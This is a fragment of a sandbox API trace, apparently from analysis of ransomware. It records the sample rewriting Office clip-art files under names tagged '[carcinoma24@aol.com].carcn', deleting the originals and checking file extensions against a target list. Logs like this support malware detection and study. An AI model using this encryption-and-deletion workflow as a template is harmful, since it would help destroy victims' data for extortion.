[0301.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0301.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.703] lstrlenW (lpString=".doc") returned 4 [0301.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.703] lstrlenW (lpString=".docx") returned 5 [0301.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.703] lstrlenW (lpString=".pdf") returned 4 [0301.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.703] lstrlenW (lpString=".xls") returned 4 [0301.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.704] lstrlenW (lpString=".xlsx") returned 5 [0301.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.704] lstrlenW (lpString=".ppt") returned 4 [0301.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.704] lstrlenW (lpString=".zip") returned 4 [0301.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.704] lstrlenW (lpString=".rar") returned 4 [0301.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.704] lstrlenW (lpString=".bz2") returned 4 [0301.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.704] lstrlenW (lpString=".7z") returned 3 [0301.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.704] lstrlenW (lpString=".dbf") returned 4 [0301.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.704] lstrlenW (lpString=".1cd") returned 4 [0301.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0301.704] lstrlenW (lpString=".jpg") returned 4 [0301.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.705] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.705] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.706] GetLastError () returned 0x0 [0301.706] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4712, lpOverlapped=0x0) returned 1 [0301.707] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4720, lpOverlapped=0x0) returned 1 [0301.709] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.709] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.709] SetEndOfFile (hFile=0x390) returned 1 [0301.710] CloseHandle (hObject=0x390) returned 1 [0301.710] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.710] SetEndOfFile (hFile=0x350) returned 1 [0301.711] CloseHandle (hObject=0x350) returned 1 [0301.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0301.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.712] lstrlenW (lpString=".doc") returned 4 [0301.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.712] lstrlenW (lpString=".docx") returned 5 [0301.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.712] lstrlenW (lpString=".pdf") returned 4 [0301.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.713] lstrlenW (lpString=".xls") returned 4 [0301.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.713] lstrlenW (lpString=".xlsx") returned 5 [0301.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.713] lstrlenW (lpString=".ppt") returned 4 [0301.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.713] lstrlenW (lpString=".zip") returned 4 [0301.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.713] lstrlenW (lpString=".rar") returned 4 [0301.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.713] lstrlenW (lpString=".bz2") returned 4 [0301.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.713] lstrlenW (lpString=".7z") returned 3 [0301.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.713] lstrlenW (lpString=".dbf") returned 4 [0301.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.713] lstrlenW (lpString=".1cd") returned 4 [0301.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0301.714] lstrlenW (lpString=".jpg") returned 4 [0301.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.714] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.714] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.715] GetLastError () returned 0x0 [0301.715] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0301.717] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0301.719] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.719] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.719] SetEndOfFile (hFile=0x390) returned 1 [0301.719] CloseHandle (hObject=0x390) returned 1 [0301.719] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.719] SetEndOfFile (hFile=0x350) returned 1 [0301.721] CloseHandle (hObject=0x350) returned 1 [0301.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0301.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.722] lstrlenW (lpString=".doc") returned 4 [0301.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.722] lstrlenW (lpString=".docx") returned 5 [0301.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.722] lstrlenW (lpString=".pdf") returned 4 [0301.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.722] lstrlenW (lpString=".xls") returned 4 [0301.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.722] lstrlenW (lpString=".xlsx") returned 5 [0301.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.723] lstrlenW (lpString=".ppt") returned 4 [0301.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.723] lstrlenW (lpString=".zip") returned 4 [0301.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.723] lstrlenW (lpString=".rar") returned 4 [0301.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.723] lstrlenW (lpString=".bz2") returned 4 [0301.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.723] lstrlenW (lpString=".7z") returned 3 [0301.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.723] lstrlenW (lpString=".dbf") returned 4 [0301.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.723] lstrlenW (lpString=".1cd") returned 4 [0301.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0301.723] lstrlenW (lpString=".jpg") returned 4 [0301.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.724] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.724] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0301.992] GetLastError () returned 0x0 [0301.992] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0301.992] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0301.993] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.994] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.994] SetEndOfFile (hFile=0x340) returned 1 [0301.994] CloseHandle (hObject=0x340) returned 1 [0301.994] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.994] SetEndOfFile (hFile=0x350) returned 1 [0301.995] CloseHandle (hObject=0x350) returned 1 [0301.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString=".doc") returned 4 [0301.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString=".docx") returned 5 [0301.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.996] lstrlenW (lpString=".pdf") returned 4 [0301.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString=".xls") returned 4 [0301.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.996] lstrlenW (lpString=".xlsx") returned 5 [0301.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.996] lstrlenW (lpString=".ppt") returned 4 [0301.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString=".zip") returned 4 [0301.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.996] lstrlenW (lpString=".rar") returned 4 [0301.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString=".bz2") returned 4 [0301.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString=".7z") returned 3 [0301.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString=".dbf") returned 4 [0301.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString=".1cd") returned 4 [0301.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0301.996] lstrlenW (lpString=".jpg") returned 4 [0301.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.997] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.997] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0301.997] GetLastError () returned 0x0 [0301.997] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x400c, lpOverlapped=0x0) returned 1 [0301.998] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4010, lpOverlapped=0x0) returned 1 [0301.999] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.999] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.999] SetEndOfFile (hFile=0x340) returned 1 [0302.000] CloseHandle (hObject=0x340) returned 1 [0302.000] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.000] SetEndOfFile (hFile=0x350) returned 1 [0302.001] CloseHandle (hObject=0x350) returned 1 [0302.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0302.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.002] lstrlenW (lpString=".doc") returned 4 [0302.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".docx") returned 5 [0302.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.002] lstrlenW (lpString=".pdf") returned 4 [0302.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".xls") returned 4 [0302.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.002] lstrlenW (lpString=".xlsx") returned 5 [0302.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.002] lstrlenW (lpString=".ppt") returned 4 [0302.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.002] lstrlenW (lpString=".zip") returned 4 [0302.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.002] lstrlenW (lpString=".rar") returned 4 [0302.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".bz2") returned 4 [0302.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".7z") returned 3 [0302.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.002] lstrlenW (lpString=".dbf") returned 4 [0302.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.002] lstrlenW (lpString=".1cd") returned 4 [0302.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0302.002] lstrlenW (lpString=".jpg") returned 4 [0302.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.003] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.003] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.003] GetLastError () returned 0x0 [0302.003] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0302.004] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0302.005] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.005] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.005] SetEndOfFile (hFile=0x340) returned 1 [0302.006] CloseHandle (hObject=0x340) returned 1 [0302.006] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.006] SetEndOfFile (hFile=0x350) returned 1 [0302.007] CloseHandle (hObject=0x350) returned 1 [0302.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.009] lstrlenW (lpString=".doc") returned 4 [0302.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString=".docx") returned 5 [0302.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.009] lstrlenW (lpString=".pdf") returned 4 [0302.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString=".xls") returned 4 [0302.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.009] lstrlenW (lpString=".xlsx") returned 5 [0302.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.009] lstrlenW (lpString=".ppt") returned 4 [0302.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.009] lstrlenW (lpString=".zip") returned 4 [0302.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.009] lstrlenW (lpString=".rar") returned 4 [0302.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString=".bz2") returned 4 [0302.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString=".7z") returned 3 [0302.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.009] lstrlenW (lpString=".dbf") returned 4 [0302.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.009] lstrlenW (lpString=".1cd") returned 4 